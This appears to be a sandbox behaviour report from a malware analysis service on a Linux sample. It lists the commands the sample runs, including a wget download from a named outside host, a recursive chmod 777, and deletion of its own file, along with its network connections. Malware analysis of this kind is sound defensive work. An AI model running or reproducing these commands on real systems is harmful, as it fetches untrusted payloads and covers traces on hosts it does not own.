Technical Information
Malicious functions:
Removes itself
Performs process tracing:
- <SAMPLE>
- <SAMPLE_FULL_PATH>
Launches processes:
- /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
- <SAMPLE_FULL_PATH>
- /bin/bash <SAMPLE_FULL_PATH> -c
- clear
- rm -- <SAMPLE_FULL_PATH>
- sleep 1
- wget --output-document=anaconda-ksc.dat http://antibot.glorywebscript.com/ipblocksForLinux/server.php
- chmod 777 -R anaconda-ksc.dat
- du -k anaconda-ksc.dat
- cut -f1
Kills the following processes:
- <SAMPLE>
- <SAMPLE_FULL_PATH>
Performs operations with the file system:
Modifies file access rights:
- /root/anaconda-ksc.dat
Creates or modifies files:
- /root/anaconda-ksc.dat
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
- 89.###.226.226:443
HTTP GET requests:
- an#####.#######bscript.com/ipblocksForLinux/server.php
DNS ASK:
- an#####.glorywebscript.com
Sends data to the following servers:
- 89.###.226.226:443
Receives data from the following servers:
- 89.###.226.226:443
Other:
Collects RAM information